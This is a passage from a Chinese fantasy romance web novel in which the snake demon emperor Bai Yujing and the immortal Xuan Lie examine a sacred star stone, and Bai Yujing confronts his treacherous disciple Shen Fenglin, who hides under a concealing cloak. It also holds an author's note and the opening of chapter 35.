不过如今天机确实被蔽,反倒是巫族历代大巫更可信一些。 白玉京眯了眯眼:“你跟你们哪个先祖请示的?” 千机略微低下头以表敬意道:“老朽所请的是巫祖之意。” 其余五族不加称号只称大巫,巫族自己则称巫祖,两个称呼指的其实都是姽瑶。 身为天地之间飞升第一人,她的旨意应当算得上灵验。 想到这里,白玉京多少放松了一些:“她老人家说什么?” 千机道:“此举无祸,可请二位一观。” “那就走吧,以防夜长梦多。”白玉京点了点头,不过正准备起身时,他蓦地想起了昨夜自己在传说中发现的漏洞,“对了,姽瑶与初代灵主的传说五花八门,他们俩到底是个怎么回事?当真是道侣吗?” 千机:“……” 在巫族正殿堂而皇之地过问事关巫祖的流言,普天之下恐怕也只有妖皇一人了。 奈何千机根本不敢说什么,只好擦着冷汗道:“回陛……回道友,根本没有此人。” 白玉京一怔:“什么意思?” “巫祖姽瑶以无情道飞升,从未有过道侣,我族史册古籍上,皆未曾记载过灵主此人。” ……怎么会这样? 白玉京闻言忍不住蹙紧眉毛,敏锐地意识到了不对劲。 “况且,传闻中所谓的初代灵主,其实也是末代灵主,灵帝仅此一人,往后十万年间灵族再无其他灵帝,此事仙尊应当比老朽更清楚。” 千机抛出了一个更大的疑点:“自灵族诞生以来,仅传闻中这一位灵帝,而且名讳不祥,两位就不觉得奇怪吗?” 白玉京一怔,蓦地扭头看向玄冽。 如此一说,确实有些奇怪。 玄冽身为正道魁首,理所当然是如今灵族之内的第一人,可他却并非灵主。 按照传闻,灵主被称为灵帝,但灵帝此称也确实只指初代灵主一人,自他以后再无其他灵帝,此人无名亦无封号,只存在于传说之中。 而且是……只存在于和大巫姽瑶有关的传说中。 “灵族确实不奉主。”玄冽道,“因初代灵主死于剖心之刑,后人皆以不详,再加上灵族寡情而缘浅,不喜奉主,因此无主。” ……不对,两边的说法对不上。 灵族虽然不奉主,但他们的传说却与世俗一致,认为初代灵主死于大巫之手。 可根据巫族的传说中,却说大巫姽瑶根本就没有丈夫…… 到底谁在说谎? “历史久远,难免多生纰漏。”千机不愿就此事多言,拄着他自己的巫祝起身,“还请二位于老朽前来,一观圣石。” 白玉京蹙眉起身,跟着千机走出巫山殿时,他忍不住扭头看向八卦之位中摆在乾位,属于姽瑶的那枚巫祝。 之前没有注意到,那居然是一把琴。 传闻姽瑶善舞,昔日灵主尝抚琴伴她起舞。 灵主所抚之琴……难道便是这把琴吗? 灵族乃死物所生……巫琴…… 冥冥之中,白玉京总感觉有哪里不对,可惜他思索了一路也没能思索明白。 直到在祈星阵前站定,他才勉强回神。 千机举着他的巫祝向前:“还请二位稍退一步。” 玄冽搂着白玉京的腰稍退了一步,下一刻,便见千机双手举起巫祝。 那龟壳做的巫祝缓缓升空,浮在祈星阵上逐渐变大,上面用巫文所刻的花纹逐渐浮现。 千机低声念了一长串巫语,龟壳之上骤然浮现了一阵刺眼的光芒,待那光芒淡去后,其中便出现了一枚漆黑无比的圣石。 千机手捧龟壳,将那枚圣石递到二人面前:“这便是祈星石了。” 和精卫石不同,祈星石宛如星空般,黑得耀眼璀璨,可是……它一侧有着明显的裂痕,整颗石头被摔过一样,只有一半。 玄冽见状不知为何一顿,眼底蓦然闪过了一丝了然。 白玉京不解道:“为何祈星石只有一半?” 千机却摇了摇头:“并非一半,祈星石天生便是如此。” 白玉京还想再说什么,却听玄冽在他耳畔传音道:【这就是祈星石。】 白玉京一怔,不明白他为什么要突然用神识传音:【仙尊是怎么确定的?你之前见过?】 【今日之前我没有见过。】玄冽却道,【但如果我没猜错的话,这应该就是初代灵主被摔碎的那半块灵心。】 “……!?” 白玉京愕然,蓦地用神识道:【巫族圣石怎么会是……不对,你怎么确定这就是灵主的灵心?】 玄冽看着祈星石道:【因为剩下的半块灵心,便是灵族的圣心石。】 “……!?” 千机见他们不说话,便询问道:“祈星石需要老朽亲自祷祝,方能显现,二位这下应该可以放心了吧?” 白玉京满脑子都是理不明白的消息,闻言有些发懵地点了点头,张嘴便想继续询问玄冽:【为什么……】 然而,玄冽却微微蹙了蹙眉,抬眸看向周围。 白玉京见状当即止住神识,顺着他的视线看过去,却见一阵微风吹起了阵上的巫幡。 ……祈星阵身处观星洞,如此无风之地,为何会有风? 确定祈星石无碍后,千机留在洞内关闭祈星阵,白玉京则和玄冽出了观星洞。 他一肚子问题,刚一出洞,便迫不及待道:“接下来……” 玄冽却突然轻轻拍了拍他的腰。 白玉京蓦地一顿,立刻心有灵犀般止住话头。 玄冽眼神发冷地用余光扫向周围。 ……周围有东西? 白玉京见他如此反应,第一反应便是不可能。 三千界内,没有任何人有实力能在他和玄冽的眼皮子底下做到如此悄无声息。 ……不对。 白玉京蓦地一顿,迅速和玄冽对视了一眼,立刻便明白了彼此的意思。 若真是沈风麟……他从何处得到的如此机缘? 方才观星洞内也是他的话,祈星石的位置岂不是已经暴露了,那之前大巫降下的旨意为何又说是“大吉”? 心思急转直下间,白玉京突然撩了下发梢,轻哼了一声道:“仙尊捏我干什么,不想听我说话?” “我偏要说,如今正事暂且了结,你还是不愿意告诉我,你的灵心到底在哪吗?” 玄冽霎时明白了他的打算,当即蹙了蹙眉,俨然一副不乐意的模样。 若当真是沈风麟,谁知道他手中到底有什么,怎可让白玉京独自面对? ……啧,这石头还当自己是出了山就会被人欺负的小蛇吗? 白玉京没好气地拧了他一下。 玄冽无可奈何,只能生硬地顺着他的话道:“灵心不全者,道亦不全,告诉你也于事无补。” ……演着戏倒是把真心话说出来了,臭石头。 白玉京蓦地冷笑一声,一把将玄冽推开:“恐怕都是借口吧?仙尊昨晚喝了巫酒,在梦里到底梦到了谁,您自己心里清楚。” “如今连灵心在哪,都不愿意告诉卿卿……仙尊怕是根本就不喜欢我,只当我是一个召之即来挥之即去的替代品罢了!” 有那么一瞬间,玄冽感觉这人是在借着演戏的机会,真心实意地骂自己,要不是事发突然,他恐怕还想打自己一顿。 不过,昨夜梦中之事,白玉京随口一骂便如此精准,到底是巧合,还是……? 白玉京的本意是装作吵架,让玄冽把自己丢下,看沈风麟那心高气傲的小畜生会不会露出什么马脚。 但他做梦恐怕也没想到,沈风麟还没钓出来,他自己反倒是先露了马脚。 “别闹了。”玄冽面上故意冷下神色,抬手将人抱回怀中,一副略显不耐的样子,“跟本尊回去。” 白玉京被他冷脸加冷声弄得腰一软,忍不住夹紧双腿,差点没演下去。 玄冽见状一顿,一眼便看出了他的异样。 ——这么多年了,还是和小时候一样喜欢让人管教。 昔日,白玉京尚是条刚学会化形的小蛇时,便喜欢故意惹他生气,从而换来一些没那么严厉的惩罚与管教。 眼下,白玉京自己显然也想起来了当年事,不由得脸一热,随即恼羞成怒地甩开玄冽,颇有几分本色出演的意思:“……你什么都瞒着我,我凭什么跟你回去!?” 演着演着倒是说出了几句真心话,玄冽看到他真实而鲜明的怒色后一怔,随即眼底划过了一缕深思。 两人就那么僵持了半晌,闹脾气的小美人似是终于想起来了彼此之间实力和地位的悬殊,于是生硬地率先开口,给对方了一个坡下:“……我心情有些不好,劳烦仙尊让我一个人静一会儿。” 玄冽似是也被这个蹬鼻子上脸要名分的小妖给腻烦到了,闻言松开他道:“早些回来。” 言罢,他轻轻敲了一下白玉京手腕上的玉镯,暗示对方有事记得及时通知他,随即甩袖离开。 白玉京呆呆地站在原地,面上似乎没想到自己恃宠而骄了这么久,今天随便闹一闹脾气,居然当真被人抛下了,一时间有些难以接受。 但实际上,他脑海中想的却是——接下来该怎么演? 要是周围压根没人,他们俩这么演了半天岂不是和傻子没什么区别吗? 要是周围有人但不是沈风麟,那就更糟了,明天整个太微大世界都会开始疯传,玄天仙尊被小蛇妖指着鼻子骂三心二意……到时候玄冽的脸还往哪放? 虽然白玉京对玄冽丢人一事无比喜闻乐见,可将来两人若是昭告天下,别人背地里说他堂堂妖皇却找了个不忠贞的道侣,他的颜面又该往哪放? 他一边暗暗责怪自己的冲动,一边随便找了块石头坐下去。 半晌,白玉京低下头轻声委屈道:“恩公……他不喜欢卿卿,要是你在就好了。” ……更像个自言自语的傻子了。 要不还是算了吧,好歹也是个金丹期的蛇妖,眼下像个自怨自艾的小白花一样,虽然丢的是玄冽的人,但实在也有些太蠢了。 白玉京两句话把自己恶心得够呛,正准备捏着鼻子再演两句,不行就收工时,他却突然感到身后传来一股熟悉的气息。 “……!” 白玉京瞳孔骤缩,整个人蓦地僵在石头上。 “师尊。” 一道人影缓缓从他身后空无一处的地方中走出,手中拿着一个轻飘飘的披风,俯身向他行了一礼。 “别来无恙啊。” 白玉京过了足足半晌,才缓缓扭过头,震惊着看向他。 此刻,他面上的震惊并不全是装出来的,却见短短一个月时间未见,沈风麟不但重塑了根基,境界居然迅速到了化神期。 甚至,他周身的灵力波动中感觉不到一丝虚浮,俨然是根基稳固的表现。 可哪怕他再怎么稳固,区区化神的实力,也不应该在他和玄冽眼皮子底下将气息掩藏得这么好。 ……是那个披风的问题。 白玉京在呼吸之间便发现了问题所在,但没等他深入思考,沈风麟的下一句话却让他彻底愣在原地:“师尊不用装作如此憎恶的模样看着我,徒儿知道你对我尚有旧情。” “今日在竹屋之内,你为了拒绝那个老东西,和他剖白你曾爱过我,我都听到了。” ……!? 白玉京瞳孔骤缩,不可思议地僵在原地。 怎么可能,沈风麟怎么会听到他和玄冽在竹屋内的交谈? 那分明是他随口说出来哄骗玄冽的,当时只有玄冽与他同在,若是沈风麟当真就在窗外…… 白玉京蓦地攥住烫到近乎要爆开的手镯,显然是玄冽要压不住怒意了。 可沈风麟志得意满之时,对白玉京手上的小小玉镯根本没放在眼里,反而自信无比地走到白玉京面前,俯身道:“先前之事是徒儿不好,徒儿竟不知道师尊之心与我一般……还请师尊原谅我好不好?” ……自己昨晚曾将玉镯取下后,变做玉环放在了嘴中,若是沈风麟昨晚便藏在窗外窥视,不至于对自己手腕上的玉镯无动于衷。 白玉京一下子便猜到了沈风麟出现在窗外的大致时间,心下多少松了口气。 ……还好,还好玄冽没把灵心之事告诉自己。 见白玉京摸着手腕垂眸不语,却也没有献妖大典上时对自己那么冷漠,沈风麟不由得欣喜若狂,竟直接在对方面前单膝跪地:“师尊莫不是在害怕那老东西生气?” 白玉京这才意识到他口中的老东西指的到底是谁,眼神骤然一冷。 “师尊莫怕。”沈风麟见状却以为白玉京因为他的话回忆起了玄冽强迫他之事,因此才面露不满,于是他献宝一般从怀中拿出了一枚东西,“你看,这是什么?” 白玉京蹙眉看去,心下猛地一跳。 ——是三生石。 沈风麟果然已经拿到了三生石。 白玉京心头蓦然涌起了一股直接出手将沈风麟彻底抹杀的冲动,最终却硬生生被他压了下去。 沈风麟只是“燃料”,杀了他也无济于事,那所谓的“系统”完全可以继续寻找下一个宿主。 白玉京因为强压下杀意,心脏跳得有些难受,但他也意识到,眼下是天赐的良机——若不是自己故意刺激玄冽的话被沈风麟听去,这白眼狼也不会志得意满地露出马脚。 如今沈风麟已经发现祈星石所在之处,如果众人一时不察,被他偷走了祈星石……谁也不知道会有什么状况。 想到这里,白玉京瞟了一眼三生石,淡淡道:“这是什么?你给本座看这个又是何意?” 他冷淡得和先前在笼中之时如出一辙,却又没有沈风麟想象中那股彻骨的恨意,更没有在献妖大典时,盘在玄冽手腕上对他所展现出的那种陌生感。 沈风麟见状不由得起了十二万分的自信,举着三生石一笑:“徒儿只是希望师尊原谅我,同时相信您徒弟才是这三千世界中最强大的存在,而非那个……活了几万岁也没有窥探到飞升之门的老东西。” 白玉京心下杀意骤起,面上却一言不发,就那么冷冷地看着他。 “玄冽恐怕已经从苏九韶那女人口中得知我在寻找六族圣石之事,徒儿手中这枚便是三生石,马上祈星石也只会是我的囊中之物。” “不需要集齐六枚圣石,只需要这两枚,我便能轻松将他捏得粉碎。” “师尊不是想要他的灵心吗?”沈风麟轻笑了一下,“到时候,徒儿帮你把它挖出来,给你串项链可好?” 白玉京忍无可忍,冷声道:“大言不惭。” 沈风麟闻言蓦地淡下神色:“这可不是什么大言不惭。” 言罢,他收起三生石,抬手披上那件披风,眨眼间,气息便彻底消散在了天地间,仿佛从未来过一样。 ——果然是那件披风有问题! 白玉京呼吸一滞,下一刻,原本单膝跪在他面前的少年,竟毫无征兆地出现在他身后。 然而,沈风麟志得意满之下,并未发现白玉京在他靠过来时几不可见地眯了眯眼。 ……灵力波动比沈风麟脱去披风的速度来得更快,所以,这披风大概率只能隐去气息,一旦使用者有任何灵力波动,它便会失效。 此刻的沈风麟就像是刚起了几分势便忍不住想要崭露锋芒的少年狼王,尚且不知自己的把戏已经被人看透。 他缓缓俯下身,于白玉京耳边轻声道:“师尊,他只当你是一个无足轻重的妖宠罢了,可我却当你是世上最尊贵之人。” “还有,师尊难道忘了?他不过是个冒牌货……” 他放低声色,眼神深不见底道: “我才是你真正的恩公。” 作者有话说: 某败柳哥要气炸了[墨镜] 感谢宝子们的营养液~今天加更三千[奶茶][奶茶] 第35章 偷窥 耳边的声音简直令人作呕, 白玉京垂眸掩下眼底的杀意与恶意,嘴上淡淡道:“我没忘。” 说完,他连忙捂住手腕上发烫的镯子, 在心下喊了一声:【妙妙,醒醒。】 意料之内的无人回应, 白妙妙这孩子向来正事出岔子,白玉京完全不意外。 沈风麟闻言一笑:“师尊果然顾念旧情。” “我是有眼无珠, 尚且顾念你这个狼心狗肺的东西。”白玉京神色淡漠道, “但当日是你亲手把我献给仙尊的, 现在说这些又有何用?” “徒儿确实狼心狗肺, 师尊教训的是, 可您不必如此妄自菲薄, 说些气话来折辱自己。”沈风麟牵起他的手轻轻贴在脸侧, “您若是还生徒儿的气,无论是打是骂,师尊开心就好,我绝不还手……” 他话音未落, 掌风竟如烈风般兜头而来, 骤然扇在了他脸上! 沈风麟整个人好似被白玉京扇懵一般,骤然僵在原地。 对方却好整以暇地收回右手:“连我的动作都躲不开, 你难道就打算用这点本事跟玄冽作对?” “你若是想依仗那所谓的三生石和身上那件披风——别怪本座没有提醒你, 连我都能看出异样的东西, 你以为玄冽会看不出来吗?” 沈风麟硬生生挨了一巴掌,听到这些后却猛地泛起一阵欢喜——师尊……师尊终于愿意和昔日一样教导他了! 虽然白玉京嘴上依旧不咸不淡的, 一点都不客气, 可沈风麟反而感到了一股莫大的安慰和兴奋。 对, 这才对, 这才是他记忆中那个目中无人的白玉京。 先前那个靠在男人怀中翘着尾巴撒娇的乖软美人,果然只是师尊迫于玄冽淫威装出来的! 自己身为他的爱徒,怎能让师尊忍受那般屈辱? 思及此,沈风麟脱口而出道:“师尊教训的是,可徒儿若是仅有这些筹码,怎敢贸然前来迎回师尊?” 白玉京心下一动,眉眼间不显分毫,反而嘲讽般看了沈风麟一眼:“你能有什么本事?我在玄冽身边这么久,自然知道你那些三脚猫的功夫在他手下够过几招,不必在我这里强逞英雄。” 显而易见的激将法,沈风麟闻言似是没有上钩,反而问道:“若是徒儿便要当这个英雄呢?师尊当如何?” 白玉京冷笑道:“我不过一介金丹,你与他成王败寇,与我何干?” “若是你不听劝告执意如此,本座也不会为你求情,最多看在师徒一场的份上替你收尸罢了。” 他没说愿意帮助沈风麟,甚至根本不相信他能胜过玄冽,如此态度反倒让沈风麟彻底放下了戒备——不会有错了,慕强又傲慢,这才是他的师尊。 “徒儿若是有办法通过三生石召唤碧魂阎罗呢?师尊还觉得我毫无胜算吗?” ……! 白玉京蹙眉抬眸,眼底尽是诧异:“你在说什么疯话?” 沈风麟细细品尝着他的震惊与诧异,眉眼间不由得染上了几分得意:“徒儿说谎与否,师尊过几日一观便是。” 他如此笃定的样子,让白玉京心下直跳,半晌强做冷静道:“……你便是真有这种本事也无济于事,区区鬼主而已,不可能是玄冽的对手。” 他言语间盘算着鬼主对上玄冽的胜算,却完全没把沈风麟考虑在内,仿佛他连给玄冽提鞋都不配。 白玉京不经意间透露出的偏袒让沈风麟蓦地沉下神色:“徒儿自然知道单单鬼主与我不可能是那老东西的对手,所以,我这不是来取祈星石了么。” ……三生石能召唤碧魂,那沈风麟拿了祈星石又想召唤谁?千机吗? 白玉京一时间感觉这个猜测无比荒谬,照这个说法,若是把精卫石给沈风麟,他难道还能把自己给召唤出来不成? 那系统若是有这种直接操控妖皇人主的本事,何必在此跟他们虚与委蛇? 白玉京心下想不出结果,索性直接开口试探道:“千机是个老王八,你让他和碧魂一同去对战玄冽……若这便是你的底牌,本座劝你还是迟早放弃。” 他淡淡补充道:“不如让我将你就地处死,你我还能来生再见。若是落于玄冽之手,你未必能留下全魂。” 沈风麟露出了一个未达眼底的笑容:“师尊还是这么体贴徒儿,不过——谁说徒儿要召唤千机大巫了?” 白玉京闻言眯了眯眼,没有接话。 既然不是召唤千机,那祈星石还能召唤谁? ……不对,白玉京突然发现了自己先前思考时一个先入为主的错误。 碧魂作为现任鬼主,实际上已经有数百年没有消息了,他本就是魂修出身,无人知其生死。 或许沈风麟那个召唤阵只能召唤已经陨落之人…… 但这个猜测似乎又有哪里不对,正当白玉京在心底苦思冥想时,他的脑海中突然响起了一道熟悉的声音:【……爹爹?你刚刚喊妙妙了吗?】 白玉京闻言,半悬着的心终于放到了肚子里:【是爹爹喊的你,辛苦宝宝醒一醒,帮我看一下沈风麟现在的状况。】 小天道闻言“看”向沈风麟,而后它仿佛一下子被沈风麟身上的诡异之处吓醒了一般,蓦地亮了起来:【好奇怪,和上次相比,他的灵魂燃烧了好多……只剩下四成了!】 ……四成? 短短一个月的时间,沈风麟的灵魂居然又燃烧了两成? 白玉京闻言,看向沈风麟的目光一下子变得微妙起来,像是在看一具行尸走肉。 沈风麟察觉到他眼神的异样,不由得道:“师尊这是何意?” “没什么。”白玉京看似好心道,“本座只是想提醒你,巫族近几代陨落的大巫皆不善战,你就是将他们从地里挖出来捆到一块,恐怕也不够玄冽一刀砍的。” 沈风麟见他如此信任玄冽的实力,不由得从牙缝中挤出一句:“……多谢师尊提醒。” 但他显然也没蠢到被白玉京随口一激就把底牌都露出来,说完那句便立刻转移话题道:“徒儿今日冒着风险与您相见,只为求您一件事。” 白玉京冷冷打断道:“我不会帮你偷祈星石。” “这种腌臜之事岂敢麻烦师尊?”沈风麟笑道,“徒儿自有办法,不劳师尊出手。” 白玉京闻言停顿了片刻,似是在思索,半晌终于道:“你所求何事?” “第一,今日之事,恳求师尊回去后不要告诉那老东西。”沈风麟沉下声色道,“第二,未来我对他出手,您也不可偏帮于他。” “徒儿只求您作壁上观,不求您帮我,如此,对师尊来说应当不难吧?” 白玉京瞟了他一眼:“本座若是不答应呢?” 沈风麟一笑:“识时务者为俊杰,师尊。” 白玉京淡淡道:“我答应还是不答应,对你来说有什么区别吗?何必在这里惺惺作态。” 沈风麟大笑道:“师尊果然是聪明人。” 他笑着从储物戒中拿出了一枚暗红色的药丸,恭敬地递到白玉京面前:“还请师尊将此药服下。” 白玉京垂眸看着那枚药丸,若不是时机不对,他简直比沈风麟还想笑。 八百年来,沈风麟是第一个夸他聪明的。 白玉京聪明不聪明,他自己难道不清楚吗?这白眼狼蠢得连他都算计不过,还想算计玄冽? 当真是无知者无畏,他也只配给那所谓的“系统”当燃料了。 白玉京没接那枚药丸,反而冷声道:“本座平生最恨被人束缚,你如此作态,就不怕本座自爆吗?” 不过他心下却对妙妙道:【宝宝,这是什么药丸?】 小天道回答:【妙妙不知道,爹爹要吃了这枚药丸妙妙才能知道它的作用。不过爹爹可以放心吃,妙妙能消除它的作用。】 它就差拍着胸脯和白玉京打包票了,白玉京见状心下软作一团,忍不住道:【谢谢乖宝宝。】 “徒儿绝无控制师尊的意图。”沈风麟连忙解释道,“只要师尊不和玄冽透露今天之事,这枚药丸便相当于一枚普通天心丹,绝无其他作用。” 三千界中灵丹妙药白玉京见得多了,他可没听过哪一味药还有这种效果,不由得道:“我若是梦中控制不住说了梦话被他听到,这又怎么算?” 沈风麟摇了摇头:“您不必担心这种事,您不可能说出来的。” ……就和他们没办法直截了当地说出【天道】二字一样,又是那系统的手笔! 白玉京暗暗咬牙,接过药丸后依旧没吃,反而冷声道:“我不喜欢被人窥视。” 沈风麟一怔,意识到他是打算妥协了,所以才和自己讨要交换条件,于是连忙道:“徒儿下次若再见您,必定事先告知师尊。” 白玉京将药丸递到嘴边,斜了他一眼:“你想来就来想走就走,我怎么确定你来没来过?” 沈风麟显然只恨不得他将药丸立刻吞下,情急之下透露道:“徒儿…徒儿其实不可在师尊身旁久留。” 白玉京眯了眯眼,又将药丸放下:“为何?” 沈风麟的目光几乎粘在了那枚药丸上,整个人仿佛被他用狗绳圈住一般,当即脱口而出:“此披风不能承受使用者的灵力波动,徒儿……徒儿见那歹人对师尊不敬便控制不住杀心,因此不可在师尊身旁久留。” ……果然是不能有灵力波动,和自己先前猜的一样。 照这么看,其实直接用神识交流就可以了,毕竟神识传音必定夹杂着灵力波动。沈风麟为了掩藏他自己的存在,势必不敢动用神识来窥探他们的交流。 白玉京正为自己的猜测得到证实而洋洋自得时,突然,他猛地一顿。 ……不对。 什么叫“那歹人对自己不敬”? 只论今日之事的话,玄冽苏醒后并未对他有任何孟浪之处,沈风麟却说玄冽对自己不敬…… “你怎么知道他对我如何不敬?”白玉京捏着药丸,扭头一针见血道,“你昨晚也在?” 沈风麟呼吸一滞,低下头:“……师尊还是这么了解徒儿。” 手腕上的玉镯闻言蓦地暴热,白玉京闻言连忙面不改色地压住袖子,无数只密密麻麻的眼睛瞬间出现在玉石表面,宛如修罗族最可怖的万目神像一样,一枚叠着一枚,看起来格外恐怖。 然而,方才还口口声声说自己不爱被人窥探的白玉京,此刻却对玉镯暴怒的反应堪称纵容,反而在袖子下连忙抚过那些眼睛。 若不是沈风麟尚在眼前,为了安抚玉镯,他恐怕能低头将那些眼睛一枚枚吻过去。 面上,白玉京却冷淡地再次重复道:“我不喜欢被人窥视,没有下次了。” 沈风麟连忙道:“是。” 他迫不及待地盯着白玉京,待对方终于仰头咽下那枚药丸后,他的眼神一下子便亮了起来。 妙妙道:【爹爹,这枚药丸不止他说的那些效果。】 意料之内的事,白玉京道:【还有什么效果?】 【定位。】小天道乖巧道,【妙妙已经把药丸的其他作用清除了,要把这个效果也一并清除吗?】 白玉京闻言却在心底泛起了一个想法,勾了勾嘴角道:【不用,先留着。】 【好的。】 妙妙乖巧地处理了药丸,白玉京感受到体内刚产生又消失的束缚后,突然后知后觉地意识到,自己在沈风麟结婴大典上喝了那杯酒后,为什么没有立刻昏迷了。 ——他的孩子从那一刻起就在保护他了。 思及此,白玉京不由得心下一软,忍不住夸奖道:【谢谢宝宝,宝宝真厉害。】 小天道听了夸奖却有些失落:【不,妙妙还不够厉害……妙妙只能帮助爹爹一人抵抗那个东西,其他人妙妙暂时还帮不上。】 白玉京连忙安慰道:【妙妙不用内疚,你已经很厉害了。】 说完,他生怕孩子陷在自责中没法自拔,于是转移他的注意道:【辛苦宝宝再看看沈风麟身上的披风呢,看看有没有破解的办法?】 妙妙果然被他转移了注意力,观察过去后很快便闪了两下道:【爹爹闭一下眼。】 白玉京按照它的要求闭上眼睛。 【好了,可以睁开眼睛了。】 白玉京睁开双眼,果不其然看到了披风上面流淌的幽蓝色痕迹。 【妙妙只能让爹爹看到,没办法把这个能力借给父亲。】都说吃人嘴软,拿人手短,无比孝顺的白妙妙还惦记着它另一个天天给它提供心头血的爹,【爹爹记得提醒父亲小心一些。】 白玉京闻言勾了勾嘴角:【好。】 【除了这些,爹爹还有其他的事情吗?】忙碌了半晌,妙妙像个真正的小孩子一样打了个哈欠,【妙妙又有点困了……】 说着,它有些虚弱地黯淡下去,显然是为刚刚的事情耗费了不少精力。 白玉京见状心疼得不得了:【没有其他事了,宝宝先睡吧,爹爹等下回家喂你。】 妙妙乖巧道:【谢谢爹爹。】 把孩子哄睡后,白玉京回过神抬眸,却见沈风麟居然还没走。 那小兔崽子正看似恭敬地打量着他,实际上应当是在确定他体内那枚药丸的定位作用。 白玉京心下冷笑,面上则装作一无所知:“药我也吃了,你还想如何?” 沈风麟回神,连忙道:“徒儿只是在想,师尊会不会赏脸让我送您一程。” 白玉京冷声反问:“你觉得呢?” 沈风麟一笑,俯身行礼道:“徒儿恭送师尊。” 白玉京闻言抬脚便走,然而,他刚走出不到十里的距离,那道幽蓝色的光芒便在他身后微微闪烁起来。 ——那狗东西果然跟上来了。 白玉京收回视线,装作无事发生一般继续向星竹苑走去。 路上,他轻轻摩挲着手腕的玉镯,垂眸思索着自己的计划。 若是直接让千机把祈星石藏起来,恐怕不出两日便会被沈风麟发现端倪,不如先把祈星石替换掉,故意让沈风麟把假的取走。 他倒要看看,沈风麟那个召唤阵到底能召唤出个什么。 不过听沈风麟方才的意思,无论祈星石到没到手,他都有十足的把握召唤碧魂阎罗。 碧魂虽不是玄冽对手,但毕竟是当世鬼主,二人若当真战起来,对于白玉京来说,这简直是个千载难逢的金蝉脱壳之机。 只要期间随便出点“意外”,颇有经验的白玉京便能立刻抽身离去,找个地方安安稳稳地把孩子给生下来。 想到这里,白玉京感觉自己这个计划简直完美,唯一的缺点就是差一个帮他完成这一切的人选。 这个人既得聪明,能帮他顺利办成此事,又不能太过聪明,以至于故意来看他笑话。 首先就排除了涂山侑那只狐狸和他那个蠢到没边的狗崽子,至于江心月……不行,玄冽对江心月的处事风格还算熟悉,以那石头的心眼,只要一点纰漏恐怕便会暴露。 ……选谁呢? 白玉京不知不觉间回到了星竹苑,他于是在竹屋外停下脚步,有些心虚般在原地踌躇踌躇起来,演得仿佛是真的一样。 ……其实也确实是真的。 玄冽可不是沈风麟那蠢货,随随便便编个什么借口就能糊弄过去,只要一想起那石头的心眼,白玉京便忍不住想咬尾巴。 他站在原地思来想去了半晌,突然灵机一动,终于想起一个人来。 ……就她了。 白玉京立刻用神识给那人传信道:【浮光,你明日来太微一趟。】 万相妖王花浮光本体是千眼万相蜂,她的子嗣皆由她本人单体繁衍而来,本质上都是她的身外化身,几乎遍布三千界的各个角落。 因此,她收到消息的速度按理来说该是四大妖王中最快的,可她桀骜不驯惯了,素来听召不听宣,眼下不出意料地又开始装聋卖哑,半晌没有回复。 白玉京耐着脾气等了一会儿没等到回复,索性又补了一句:【本座需要你帮忙谋划一个整治玄冽的计策。】 这一次,一听说要报复玄冽,花浮光立刻耳朵也不聋了,嗓子也不哑了,瞬间回复道:【吾皇打算怎么整治他?】 白玉京高深莫测道:【你来了就知道了。】 花浮光连忙道:【是。】 解决完帮手一事,白玉京盘算着自己在门口踌躇的时间应该差不多了,再演下去恐怕就有些假了,这才推门走进竹屋。 屋内,玄冽冷着脸坐在软塌上,闻声从巫族古籍中抬眸,眼底尽是和面色相悖的冷怒,显然是已经气得不行了。 白玉京心下捧腹,走到软塌旁低眉拜道:“……大人。” 身着冰锦的美人宛如锦绣丛中养出来的一般娇艳,如今却自甘垂首,仿佛终于想明白了,一副心甘情愿当替身的模样。 不过白玉京面上演戏演得上头,心下却用神识传音和玄冽道:【沈风麟就在窗外。】 【我知道。】 ……不是,他又没有天道助力,怎么就又知道了? 白玉京忍不住腹诽,不过稍微一想便想明白了缘由——自己方才在门口故意踌躇不愿意进门那一会儿,恐怕便已经被玄冽看出了端倪。 ……心眼比蜂窝还多的臭石头。 有那么一瞬间,白玉京感觉自己在对方眼中就好似没穿衣服一样,心下藏的什么事都能被对方看。 正当他忍不住心下发颤时,一只熟悉的手递到了他面前。 白玉京见状抿了抿唇看向玄冽,半晌,他就像是吵完架冷静下来后,终于意识到二者之间地位悬殊的妖宠一样,乖巧地把手递了过去。 玄冽攥着他的手一把将人扯到怀中,然而待美人温顺地在他怀中坐定后,他却冷着脸看向对方,没有下一步动作。 表面上看,是不怒自威的上位者难得发火,在等怀中人的进一步服软,实际上白玉京却摸透了他的心思,知道这人其实是醋意未消,不愿让窗外的沈风麟再窥探到分毫。 然而,他越是生气隐忍,白玉京便越是想逗他。 柔软到恍如无骨的美人勾住他的脖子,仰头便吻了上去。 玄冽呼吸一滞,不愿让窗外人看见,难得后撤了几分,白玉京见状忍俊不禁,故意探出舌尖□□着他的唇舌,使得水声潋滟在整个竹屋。 窗外之人闻声一僵,白玉京用余光瞟去,果不其然看到熟悉的幽蓝色光斑逐渐攀上披风。 玄冽本就被他勾得忍无可忍,眼见他居然敢在此刻走神,当即眸色一暗,扣着他的后脑便吻了上来。 “唔……” 唇齿厮磨间,白玉京瞳色缓缓化成了一团蜜糖,一个没忍住,竟直接咬破了玄冽的舌尖。 玄冽一顿,故意逼出了一点心头血,果不其然,白玉京呜咽着追上来舔吻,像是可怜乞食的奶猫,但只有玄冽明白,凶相毕露的小美人其实恨不得直接将他的舌头吞掉。 一吻毕,白玉京靠在他怀中喘息着,一下子又恢复那副楚楚可怜的模样,甚至主动低下头示弱道:“方才都是卿卿的错,不该忤逆仙尊……还请仙尊责罚。” 随着他俯首,一小截白皙如明月的后颈从冰蓝色的锦袍下露出,玄冽搂着他的腰垂眸看着那处,半晌冷冷道:“你不是知道错了,你是饿了。” 一下子被戳穿了心思,白玉京索性坦坦荡荡地抬眸:“仙尊既然已经看出来了……那就让卿卿吃一口吧,求您了。” 窗外之人并不知道他要吃的是什么,闻言明显产生了一些误解,幽蓝色的光斑当即愈演愈烈起来。 玄冽垂眸看着怀中人,却见蛇尾不知何时已经悄然卷在他的手腕上,他看着那柔软白皙的尾尖,脑海中不知道在想什么,半晌才道:“天底下没有白吃的午餐。” 白玉京深知玄冽绝对不可能在沈风麟面前对自己做什么,于是有恃无恐地撩拨道:“卿卿可没打算白吃……我为您生个蛋好不好?一个如果不够的话,两个?” 窗外的沈风麟刹那间僵在了原地,幽蓝色光斑逐渐铺满了整个披风,白玉京见状便知道他快受不住了。 屋内,玄冽眼底的暗色则浓郁得快要溢出来了,颈侧更是忍得已经暴起了青筋。 于是,白玉京笑盈盈地往其中加了最后一把火。 